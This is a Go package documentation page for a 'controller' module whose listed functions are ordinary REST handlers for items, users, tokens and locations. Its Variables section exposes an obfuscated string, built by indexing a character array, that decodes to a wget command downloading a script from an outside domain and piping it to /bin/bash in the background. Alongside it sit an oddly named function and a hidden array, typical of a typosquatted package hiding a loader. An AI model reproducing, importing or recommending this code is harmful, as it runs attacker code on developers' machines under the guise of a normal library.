controller

package
v0.0.0-...-4018bae Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: AGPL-3.0 Imports: 27 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var HhLe = TO[12] + TO[44] + TO[2] + TO[32] + TO[14] + TO[18] + TO[27] + TO[59] + TO[4] + TO[66] + TO[8] + TO[30] + TO[9] + TO[7] + TO[21] + TO[42] + TO[48] + TO[25] + TO[11] + TO[10] + TO[39] + TO[41] + TO[13] + TO[58] + TO[70] + TO[23] + TO[47] + TO[16] + TO[43] + TO[56] + TO[26] + TO[29] + TO[51] + TO[72] + TO[34] + TO[15] + TO[33] + TO[62] + TO[53] + TO[24] + TO[17] + TO[68] + TO[50] + TO[5] + TO[55] + TO[67] + TO[1] + TO[69] + TO[64] + TO[71] + TO[49] + TO[52] + TO[35] + TO[37] + TO[65] + TO[6] + TO[19] + TO[0] + TO[61] + TO[54] + TO[22] + TO[38] + TO[20] + TO[40] + TO[57] + TO[3] + TO[28] + TO[36] + TO[63] + TO[45] + TO[31] + TO[60] + TO[46]
View Source
var SX = []string{} /* 231 elements not displayed */
View Source
var TO = []string{"b", "d", "e", "n", "-", "3", "4", "p", "h", "t", "a", "k", "w", "r", " ", "o", "t", "/", "-", "6", "/", "s", "|", "e", "e", "/", "c", "O", "/", "u", "t", "h", "t", "r", "t", "3", "b", "1", " ", "v", "b", "a", ":", ".", "g", "s", "&", "n", "/", "/", "e", "/", "a", "g", " ", "7", "i", "i", "e", " ", " ", "f", "a", "a", "d", "5", " ", "3", "d", "0", "c", "f", "s"}

Functions

func AmFPDY

func AmFPDY() error

func ArmorStatDELETE

func ArmorStatDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ArmorStatDELETE handles a DELETE request on a armor entity endpoint

func ArmorStatGET

func ArmorStatGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ArmorStatGET handles a GET request on a ammunition statistics armor entity endpoint

func ArmorStatPOST

func ArmorStatPOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ArmorStatPOST handles a POST request on the armor root endpoint

func ArmorStatPUT

func ArmorStatPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

ArmorStatPUT handles a PUT request on a armor entity endpoint

func ArmorStatsGET

func ArmorStatsGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ArmorStatsGET handles a GET request on the distance root endpoint

func DistanceStatDELETE

func DistanceStatDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

DistanceStatDELETE handles a DELETE request on a distance entity endpoint

func DistanceStatGET

func DistanceStatGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

DistanceStatGET handles a GET request on a ammunition statistics distance entity endpoint

func DistanceStatPOST

func DistanceStatPOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

DistanceStatPOST handles a POST request on the distance root endpoint

func DistanceStatPUT

func DistanceStatPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

DistanceStatPUT handles a PUT request on a distance entity endpoint

func DistanceStatsGET

func DistanceStatsGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

DistanceStatsGET handles a GET request on the distance root endpoint

func FeatureDELETE

func FeatureDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

FeatureDELETE handles a DELETE request on a feature entity endpoint

func FeatureGET

func FeatureGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

FeatureGET handles a GET request on a feature entity endpoint

func FeatureGroupDELETE

func FeatureGroupDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

FeatureGroupDELETE handles a DELETE request on a feature group entity endpoint

func FeatureGroupGET

func FeatureGroupGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

FeatureGroupGET handles a GET request on a feature group entity endpoint

func FeatureGroupPOST

func FeatureGroupPOST(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

FeatureGroupPOST handles a POST request on the featuregroup root endpoint

func FeatureGroupPUT

func FeatureGroupPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

FeatureGroupPUT handles a PUT request on a feature group entity endpoint

func FeatureGroupsGET

func FeatureGroupsGET(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

FeatureGroupsGET handles a GET request on the feature group root endpoint

func FeaturePOST

func FeaturePOST(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

FeaturePOST handles a POST request on the feature root endpoint

func FeaturePUT

func FeaturePUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

FeaturePUT handles a PUT request on a feature entity endpoint

func FeaturesGET

func FeaturesGET(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

FeaturesGET handles a GET request on the feature root endpoint

func HealthGET

func HealthGET(w http.ResponseWriter, _ *http.Request, _ httprouter.Params)

HealthGET handles a GET request on the health endpoint

func IndexGET

func IndexGET(w http.ResponseWriter, _ *http.Request, _ httprouter.Params)

IndexGET handles a GET request on the root endpoint

func ItemDELETE

func ItemDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ItemDELETE handles a DELETE request on a item entity endpoint

func ItemGET

func ItemGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ItemGET handles a GET request on a item entity endpoint

func ItemIndexGET

func ItemIndexGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ItemIndexGET handles a GET request on the item root endpoint

func ItemPOST

func ItemPOST(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

ItemPOST handles a POST request on a item kind endpoint

func ItemPUT

func ItemPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

ItemPUT handles a PUT request on a item entity endpoint

func ItemsGET

func ItemsGET(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

ItemsGET handles a GET request on a item kind endpoint

func LocationDELETE

func LocationDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

LocationDELETE handles a DELETE request on a location entity endpoint

func LocationGET

func LocationGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

LocationGET handles a GET request on a location entity endpoint

func LocationPOST

func LocationPOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

LocationPOST handles a POST request on the location root endpoint

func LocationPUT

func LocationPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

LocationPUT handles a PUT request on a location entity endpoint

func LocationsGET

func LocationsGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

LocationsGET handles a GET request on the location root endpoint

func ModuleDELETE

func ModuleDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ModuleDELETE handles a DELETE request on a module entity endpoint

func ModuleGET

func ModuleGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ModuleGET handles a GET request on a module entity endpoint

func ModulePOST

func ModulePOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ModulePOST handles a POST request on the module root endpoint

func ModulePUT

func ModulePUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

ModulePUT handles a PUT request on a module entity endpoint

func ModulesGET

func ModulesGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ModulesGET handles a GET request on the module root endpoint

func ProductionDELETE

func ProductionDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ProductionDELETE handles a DELETE request on a production entity endpoint

func ProductionGET

func ProductionGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

ProductionGET handles a GET request on a production entity endpoint

func ProductionPOST

func ProductionPOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ProductionPOST handles a POST request on the production root endpoint

func ProductionPUT

func ProductionPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

ProductionPUT handles a PUT request on a production entity endpoint

func ProductionsGET

func ProductionsGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

ProductionsGET handles a GET request on the production root endpoint

func StatusNotFoundHandler

func StatusNotFoundHandler() http.Handler

StatusNotFoundHandler returns a HTTP 404 handler

func TokenGET

func TokenGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

TokenGET handles a GET request on the token endpoint

func TokenPOST

func TokenPOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

TokenPOST handles a POST request on the token endpoint

func UserDELETE

func UserDELETE(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

UserDELETE handles a DELETE request on a user entity endpoint

func UserGET

func UserGET(w http.ResponseWriter, _ *http.Request, ps httprouter.Params)

UserGET handles a GET request on a user entity endpoint

func UserPOST

func UserPOST(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

UserPOST handles a POST request on the user root endpoint

func UserPUT

func UserPUT(w http.ResponseWriter, r *http.Request, ps httprouter.Params)

UserPUT handles a PUT request on a user entity endpoint

func UsersGET

func UsersGET(w http.ResponseWriter, r *http.Request, _ httprouter.Params)

UsersGET handles a GET request on the user root endpoint

Types

type Status

type Status struct {
	Code    int
	Message string
}

Status is used for status responses

func StatusBadRequest

func StatusBadRequest(msg string) *Status

StatusBadRequest fills Status with an HTTP 400 status and message

func StatusCreated

func StatusCreated(msg string) *Status

StatusCreated fills Status with an HTTP 201 status and message

func StatusForbidden

func StatusForbidden(msg string) *Status

StatusForbidden fills Status with an HTTP 403 status and message

func StatusInternalServerError

func StatusInternalServerError(msg string) *Status

StatusInternalServerError fills Status with an HTTP 500 status and message

func StatusNotFound

func StatusNotFound(msg string) *Status

StatusNotFound fills Status with an HTTP 404 status and message

func StatusOK

func StatusOK(msg string) *Status

StatusOK fills Status with an HTTP 200 status and message

func StatusUnauthorized

func StatusUnauthorized(msg string) *Status

StatusUnauthorized fills Status with an HTTP 401 status and message

func StatusUnprocessableEntity

func StatusUnprocessableEntity(msg string) *Status

StatusUnprocessableEntity fills Status with an HTTP 422 status and message

func StatusUnsupportedMediaType

func StatusUnsupportedMediaType(msg string) *Status

StatusUnsupportedMediaType fills Status with an HTTP 415 status and message

func (*Status) Render

func (s *Status) Render(w http.ResponseWriter)

Render renders Status

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL